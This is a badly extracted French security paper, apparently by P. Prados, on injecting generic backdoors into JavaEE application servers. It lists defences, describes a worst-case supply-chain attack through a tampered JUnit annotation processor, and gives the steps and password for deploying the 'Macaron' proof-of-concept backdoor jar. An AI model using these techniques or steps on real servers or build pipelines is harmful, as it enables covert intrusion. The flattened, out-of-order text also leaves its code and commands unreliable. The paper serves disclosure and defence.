return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
P Prados 417
Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement
Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage
Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications
Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges
Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour
augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves
ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE
Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela
31 Execution
Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent
La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant
Chaque agent utilise un protocole qui lui est propre
32 Executer la demonstration
Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication
Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar
418 Porte derobee dans les serveurs drsquoapplications JavaEE
ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample
war
ndash httpwwwspringsourceorgdownload
Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console
$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar
$ mkdir -p WEB -INFlib
$ mv macaron -backdoor jar WEB -INFlib
$ jar -uf samplewar WEB -INF
$ cp samplewar $CATALINA_HOMEwebapps
Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication
export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-
actions
Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant
grant
Pour Macaron Backdoor
permission javautilPropertyPermission macaron -backdoorread
permission javalangRuntimePermission createClassLoader
permission javalangRuntimePermission getProtectionDomain
Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique
Puis lancez Tomcat
$ $CATALINA_HOMEbincatalinash run -security
Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n
33 Diffusion du code
La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact
P Prados 419
La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques
Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites
La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication
Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production
4 Propagation
Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne
Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource
Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine
Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier
Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement
En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle
7 httpmavenapacheorg
420 Porte derobee dans les serveurs drsquoapplications JavaEE
dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole
Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela
Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut
ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en
attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee
ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1
Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet
Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace
Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9
La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable
5 Les solutions
Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif
Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications
8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security
10 httpantapacheorgivy
P Prados 421
hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)
Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet
grant codeBase file$catalinabase webappsMonProjetWEB -INFlib
permission javalangRuntimePermission
createClassLoader
Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges
Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees
Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques
En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre
grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar
permission javalangRuntimePermission
createClassLoader
Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire
422 Porte derobee dans les serveurs drsquoapplications JavaEE
Le
table
ausu
ivan
tid
enti
fie
les
diff
eren
tspie
ges
pre
sents
dan
slrsquoar
chiv
ede
dem
onst
rati
on
Pie
ges
Locali
sati
on
Desc
rip
tion
s
Res
ou
rces
Bu
nd
les
Exceptionsclass
formatclass
i18nclass
LocalStringsclass
messageclass
messagesclass
viewsclass
windowsclass
javaxservletLocalStringsclass
orgapachecatalinastoreconfigLocalStringsclass
orgapachexercesimplmsgDOMMessagesclass
orgapachexmlresXMLErrorResourcesclass
orghibernatevalidatorresourcesDefaultValidatorMessagesclass
Pu
blica
tion
de
class
esp
ou
rsi
mu
ler
un
fich
ier
properties
Ser
vic
essp
ecifi
cati
on
sJA
RMETA
INFservicesjavaxxmlparsersDocumentBuilderFactory
META
INFservicesjavaxxmlparsersSAXParserFactory
Pu
blica
tion
de
lrsquoim
ple
men
tati
on
de
nou
vea
ux
serv
ices
pu
isd
eleg
ati
on
du
trait
emen
ta
lrsquoim
ple
men
tati
on
stan
-d
ard
Pro
gra
mm
ati
on
par
asp
ect
META
INFaopxml
Dec
lara
tion
gen
eriq
ue
de
regle
sd
rsquoin
ject
ion
s
Le
tab
leau
suiv
ant
ind
iqu
ele
sd
iffer
ente
ste
chn
iqu
esdrsquoi
nje
ctio
ns
dan
sle
flu
xd
etr
ait
emen
td
esre
qu
etes
HT
TP
etle
sp
rivil
eges
nec
essa
ires
P Prados 423In
jecti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Pro
tect
ion
de
lap
ort
ed
erobee
contr
ela
de-
com
pilati
on
javautilPropertyPermission
macaron-backdoorread
javalangRuntimePermission
createClassLoader
javalangRuntimePermission
getProtectionDomain
Pou
rev
iter
lad
e-co
mp
ilati
on
le
cod
ees
tp
rote
ge
Ce
pri
vil
ege
nrsquoe
stp
as
nec
essa
ire
enco
nd
itio
nn
orm
ale
etp
eut
etre
ign
ore
lors
des
test
sIl
nrsquoe
stp
as
dis
crim
inant
pou
rdem
ontr
erqu
rsquoun
eatt
aqu
en
ep
eut
avoir
lieu
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
La
port
ed
erobee
con
stru
itu
ne
Valv
eet
lrsquoin
-je
cte
dan
sT
om
cat
alrsquoaid
ed
rsquoun
ere
qu
ete
Mb
ean
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
5x
siltContext
privileged=truegt
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Si
lep
rivil
ege
est
dis
pon
ible
dan
scontextxml
etu
tilisa
tion
de
Tom
cat
5x
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
6x
javalangRuntimePermission
defineClassInPackageorgapachecatalinavalves
javalangRuntimePermission
defineClassInPackageorgapachecatalina
javalangRuntimePermission
defineClassInPackageorgapachecatalinaconnector
Si
uti
lisa
tion
de
Tom
cat
6x
Inje
ctio
nd
eV
alv
ed
an
sJB
oss
avec
Tom
cat
5x
siltContext
privileged=truegt
javaxmanagementMBeanServerPermission
findMBeanServer
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
getClassLoader
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Sile
pri
vil
ege
est
dis
pon
ible
dan
scontextxml
lap
ort
ed
erob
eeco
nst
ruit
un
eV
alv
eet
lrsquoin
ject
ed
an
sJB
oss
alrsquoaid
ed
rsquoun
ere
quet
eM
bea
n
424 Porte derobee dans les serveurs drsquoapplications JavaEE
Inje
cti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Au
gm
enta
tion
de
pri
vil
eges
sou
sT
om
cat
javaioFilePermission
$catalinahomelibwrite
javaioFilePermission
$catalinahomelibread
(Optional)
javautilPropertyPermission
catalinahomeread(Optional)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Au
gm
enta
tion
de
pri
vil
eges
sou
sJB
oss
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerwrite
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerread
(Optionel)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Inje
ctio
nd
efi
ltre
JavaE
Ed
an
swebxml
sou
sT
om
cat
javaioFilePermission
$catalinabasewebapps$warWEB
INFwebxml
write
Cet
teatt
aqu
eco
nsi
ste
ain
ject
eru
nfi
ltre
JE
Ed
an
sla
ver
sion
enca
che
de
Tom
cat
du
fich
ier
webxmlA
up
roch
ain
red
emarr
age
lefi
ltre
est
act
if
Inje
ctio
nS
pri
ng
Au
cun
Inje
ctio
nd
eltbeangt
dan
sle
sfi
chie
rsd
ep
ara
met
rage
de
Sp
rin
gp
ou
rca
ptu
rer
tou
sle
sre
qu
etes
au
fram
ework
MV
C
Pro
gra
mm
ati
on
par
asp
ect
Au
cun
Inje
ctio
nd
etr
ait
emen
tp
ou
rle
sse
rvle
tset
JS
P
Vou
sp
ou
vez
con
state
rqu
ed
eux
att
aqu
esn
en
eces
site
nt
au
cun
pri
vil
ege
Le
tab
leau
suiv
ant
rep
ren
dle
sp
rivil
eges
nec
essa
ires
au
xd
iffer
ents
agen
tsp
rop
ose
sC
esp
rivileg
esn
eso
nt
pas
nec
essa
ires
au
ne
att
aqu
eci
ble
e
P Prados 425A
gents
Priv
ileges
min
imu
ms
necess
air
es
Desc
rip
tion
s
Agen
tH
isto
riqu
eA
ucu
np
rivil
ege
part
icu
lier
A
gen
tm
emori
sant
les
der
nie
res
requ
etes
HT
TP
Agen
tJN
DI
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tm
an
ipu
lant
lrsquoan
nu
air
eJN
DI
Agen
tJM
XjavaxmanagementMBeanPermission
getDomainsgetMBeanInfogetAttribute
Agen
tco
nsu
ltant
les
JM
X
Agen
tJD
BC
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
de
man
ipu
ler
lab
ase
de
don
nee
s
Agen
tJava
avec
lan
gage
Javasc
rip
tA
ucu
np
rivil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
lrsquoex
ecu
tion
de
cod
eJavasc
rip
t
Agen
tJava
avec
lan
gage
Java
javalangRuntimePermission
createClassLoader
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
Agen
tp
erm
etta
nt
laco
